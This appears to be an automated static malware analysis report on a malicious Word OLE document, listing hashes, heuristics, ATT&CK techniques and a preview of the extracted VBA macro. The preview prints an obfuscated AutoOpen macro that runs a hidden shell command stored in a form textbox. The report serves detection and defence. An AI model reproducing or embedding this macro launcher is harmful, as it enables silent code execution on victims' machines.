Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e74f6f019444c1ac…

MALICIOUS

Office (OLE)

61.6 KB Created: 2018-12-18 07:55:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: 6f3591fd1c1511354768f3ff697ba34a SHA-1: 385bf3f05ad4e799ed2e951bc7a7598f2c8b76d1 SHA-256: e74f6f019444c1ac3c4135a9f8d6e19106fa7bb01ba041e203ac7ddf7b1b6fa0
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of a Shell() command, which is a common technique for downloading and executing further malicious content. The presence of the 'SC_STR_CMD' and 'OLE_VBA_SHELL' heuristics strongly indicates this behavior. While no specific family is identified, the macro's intent is clear: to execute arbitrary commands.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6787858-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6787858-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
    drNKDZ = Array(QuPPcvYs, TJhZoZp, pPBmNbRh, Interaction.Shell(CleanString(kKdiBJm.TextBox1), 91 - 91), NiuOwd)
       Select Case thjfsqcpTFjQAvSBqHTSnwHb
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    CHCpvPoGr
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 848 bytes
SHA-256: 14c20444bee8f2e46ab12b1b3e2963458db3c5c0abc58bfecda8d23eded9b656
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kKdiBJm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
CHCpvPoGr
End Sub

Attribute VB_Name = "KduUuRhKarG"
Function CHCpvPoGr()
On Error Resume Next
drNKDZ = Array(QuPPcvYs, TJhZoZp, pPBmNbRh, Interaction.Shell(CleanString(kKdiBJm.TextBox1), 91 - 91), NiuOwd)
   Select Case thjfsqcpTFjQAvSBqHTSnwHb
            Case 85681731
            MOICQXjBojwKFYur = 144939110
            TarQniiYMTIvZIRji = Oct(jRpMkwHiCjCuYwcq + CStr(mRwbiXrKMstKqsW + Log(302684204) - KEbGqtIEbwWRuMTizfRi / Hex(256120348)))
      End Select
End Function